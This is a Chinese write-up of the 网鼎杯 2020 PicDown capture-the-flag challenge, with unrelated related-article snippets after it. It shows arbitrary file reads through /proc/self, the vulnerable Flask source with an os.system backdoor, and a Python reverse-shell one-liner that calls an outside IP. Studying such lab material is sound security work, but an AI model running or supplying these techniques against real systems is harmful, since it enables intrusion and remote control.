[网鼎杯 2020 白虎组]PicDown(任意文件读取)

news/2024/5/19 19:45:37/文章来源:https://blog.csdn.net/qq_62046696/article/details/128455370

 

打开界面发现有一个get传参然后,尝试任意文件读取漏洞,/etc/passwd看一下,提示下载了一个jpg图片然后

打不开只能用 010查看一下信息

 看来是猜对了,然后

 如果日记没删掉可以查看历史记录  .bash_history呃呃呃差不到,那就看一下现在的进程

读取当前进程执行命令/proc/self/cmdline

python 2的app.py文件,直接读取

 

源码出来了,解析一下

 


from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllibapp = Flask(__name__)SECRET_FILE = "/tmp/secret.txt"  //锁定文件目录
f = open(SECRET_FILE)  //直接打开文件
SECRET_KEY = f.read().strip() //读取
os.remove(SECRET_FILE)//然后删除文件
//注意这里没关闭文件就删除了@app.route('/')
def index():return render_template('search.html')@app.route('/page')
def page():url = request.args.get("url")try:if not url.lower().startswith("file"):res = urllib.urlopen(url)value = res.read()response = Response(value, mimetype='application/octet-stream')response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'return responseelse:value = "HACK ERROR!"except:value = "SOMETHING WRONG!"return render_template('search.html', res=value)@app.route('/no_one_know_the_manager')  //这个路由下
def manager():key = request.args.get("key")//get传参print(SECRET_KEY)//输出,但显示不出来if key == SECRET_KEY://看看是否相等shell = request.args.get("shell")os.system(shell)//传参shellres = "ok"else:res = "Wrong Key!"return resif __name__ == '__main__':app.run(host='0.0.0.0', port=8080)

@app.route('/no_one_know_the_manager')  //这个路由下
def manager():
    key = request.args.get("key")//get传参
    print(SECRET_KEY)//输出,但显示不出来
    if key == SECRET_KEY://看看是否相等
        shell = request.args.get("shell")
        os.system(shell)//传参shell
        res = "ok"
    else:
        res = "Wrong Key!"

    return res

这一块可以分析一下,我们需要获得SECRET_KEY的值,然后使key等于,最后shell进行命令执行,但是看完以后那个文件被删除了,我们怎么获得呢?

此处可以通过../../../proc/self/fd/读取,这个目录包含了进程打开的每一个文件的链接

后面这个3怎么来的呢,是自己一个个试的,也可以爆破出来 

wLhTILlcJLljdKT/aHZn6BpfPLIqiC0a9udqLjaQRzA=

然后我们shell传一个python反弹shell的就可以

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('111.1.99.145',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

传的时候需要进行url编码

 端口监听,然后切换目录找flag.

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_240792.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Lilishop商城】No4-3.业务逻辑的代码开发,涉及到:会员B端第三方登录的开发-微信小程序登录接口开发

仅涉及后端,全部目录看顶部专栏,代码、文档、接口路径在: 【Lilishop商城】记录一下B2B2C商城系统学习笔记~_清晨敲代码的博客-CSDN博客 全篇会结合业务介绍重点设计逻辑,其中重点包括接口类、业务类,具体的结合源代码…

第十六讲:神州交换机访问控制列表的配置

访问控制列表ACL(Access Control Lists)数据定义工具,基于用户自行定义的数据的参数区分不同的数据流,是在交换机和路由器上经常采用的一种防火墙技术,它可以对经过网络设备的数据包根据一定规则进行过滤。它有以下一些…

#5文献学习总结--利用多级反馈排队的雾计算框架中的期限和优先级感知任务卸载

文献:DPTO: A Deadline and Priority-aware Task Offloading in Fog Computing Framework Leveraging Multi-level Feedback Queueing 延迟相关优先级感知卸载(DPTO)策略,基于任务的最后期限为每个任务分配优先级,并将…

C#,图像二值化(06)——全局阈值的大津OTSU算法及其源代码

1、大津OTSU算法 最大类间方差法是1979年由日本学者大津(Nobuyuki Otsu)提出的,是一种自适应阈值确定的方法,又叫大津法,简称OTSU,是一种基于全局的二值化算法,它是根据图像的灰度特性,将图像分为前景和背景两个部分。…

rocketmq 实战问题汇总

rocketmq 实战过程会遇到这样或者那样的问题,今天我们专门抽出一篇文章来分析一下汇总一下,避免以后踩同样的坑: 1、找不到JDK的问题: 综合分析,是因为JDK安装的目录有空格导致的:Program Files 两个单词之…

YOLO-V5 系列算法和代码解析(三)—— 训练数据加载

文章目录调试准备Debug 设置代码修改调试数据代码运行逻辑类初始化启动迭代器数据增强调试准备 为了便于阅读代码和打印中间变量,需进行调试模式下运行代码。配置平台:Ubuntu,VSCode。在上一篇博文中,我们简单探讨过调试的设置。在…

JavaScript手写响应式原理(详解)

响应式原理 首先我们有一个对象 const obj {name: zlk,age: 18}这个对象可能在别处被用到 比如是这样的 function foo() {const newValue obj.nameconsole.log(hello world);console.log(obj.name);}我们来改变obj对象中的name的值 obj.name zlk这时候foo()应该被重新执…

一文读懂bert结构。

最近承接了项目要复现tiny_Bert。所以在这里用文章记录自己学到的。这篇文章是前置,主要介绍bert原理。 下一篇文章介绍tinybert的原理和训练 模型介绍: BERT概述: 如果要介绍tinyBERT,首先我们需要了解BERT模型。(了…

原神私服搭建教程 (最新版)

搭建教程 1.准备阶段 1.请先确保电脑内有这些安装环境,否则私服无法运行!!! MongoDB Python3.8 java17 mitmproxy 没有请在群文件下载安装环境,安装即可。特别强调:java17直接放在C:\Program Files目录下即…

【Java编程进阶】方法初识

推荐学习专栏:Java 编程进阶之路【从入门到精通】 文章目录1. Java 方法初识2. 方法的创建与使用3. 方法的分类3.1 无参无返回值3.2 无参带返回值3.3 有参无返回值3.4 有参带返回值4. 递归方法5. 总结1. Java 方法初识 方法是组合在一起来执行操作语句的集合&#…

一体式无线阀控超声水表在西北某市大用户用水计量收费管理项目应用案例

多年来,西北某市的工业园区供水公司对工业企业用户的用水收费一直采取业务员手动抄表、上门收费的方式。不仅效率低、浪费人力资源,而且供水公司很难掌握地区用水情况,不便于统一调度和管理。 为此,该工业园区安装了平升电子一体…

2023年无线运动耳机排行榜最新公布、公认最好的运动耳机推荐

随着人们日益对健康的重视,”全民健身“正在全国,乃至全世界蔓延开来,其中跑步锻炼凭借着门槛低,益处多成为了大部分人的健身的首选。而随着跑步大军的壮大,国内蓝牙耳机市场也是一片火热。其中蓝牙无线运动耳机凭借着…

拆串后结构化,其中按行对齐

【问题】 I have a bit weired scenario where i need to fetch data i have following three products product1 product2 product3and each product has different ids(e.g. p1345,p3453,p2345) and then each froduct have different options which are having different…

go 库 Cobra 现代化的命令行框架

go 库 Cobra 现代化的命令行框架 文章目录go 库 Cobra 现代化的命令行框架1. 简介2. 主要功能3. 应用举例4. Cobra 安装5. 使用 Cobra 库创建命令5.1 创建 rootCmd5.2 创建 main.go5.3 添加命令5.4 编译并运行6. 特性6.1 使用标志6.2 非选项参数验证6.3 PreRun and PostRun Hoo…

申请大学用的是IB预估分?

IB课程体系以其独特的优越性成为越来越多国际高中生的选择。如今全球共有3300多所高校接受IB成绩申请,其中包括美国常春藤盟校、英国G5在内的多所名校。 但是,大家知道吗,国内学习IB课程的学生是需要用预估分来申请大学的。今天,小…

4.7W防削顶单声道D类音频功率放大器HT6872介绍

HT6872简介 HT6872是一款低EMI,防削顶失真,单声道免滤波D类音频功率放大器。在6.5V电源,10%THDN,4Ω负载条件下,输出4.71W功率,在各类音频终端应用中维持高效率并提供AB类放大器的性能。 HT6872的最大特点是…

【PAT甲级 - C++题解】1032 Sharing

✍个人博客:https://blog.csdn.net/Newin2020?spm1011.2415.3001.5343 📚专栏地址:PAT题解集合 📝原题地址:题目详情 - 1032 Sharing (pintia.cn) 🔑中文翻译:共享 📣专栏定位&…

梯度下降算法、随机梯度下降算法、动量随机梯度下降算法、AdaGrad算法、RMSProp算法、Adam算法详细介绍及其原理详解

文章目录前言一、回归拟合问题二、损失函数三、梯度下降算法四、随机梯度下降算法五、动量随机梯度下降算法六、AdaGrad算法七、RMSProp算法八、Adam算法总结前言 本篇博文详细介绍了关于梯度下降算法的所有相关知识,具体包括:回归拟合问题、损失函数、梯…

【OpenCV-Python】教程:9-1 级联分类器训练

OpenCV Python 级联分类器训练 【介绍】 使用增强的弱分类器级联包括两个主要阶段: 训练和检测阶段。使用基于HAAR或LBP模型的检测,在object detection tutorial中进行了描述。本文档概述了训练您自己的增强弱分类器级联所需的功能。当前的手册将走过所有不同的阶段: 收集训练…

MySQL5.7 多主一从(多源复制)同步配置

主从复制有如下一些优势: 分担负载:对业务进行读写分离,减轻主库I/O负载,将部分压力分担到从库上,缩短客户查询响应时间。 增加健壮性:在主库出现问题时,可通过多种方案将从库设置为主库&#…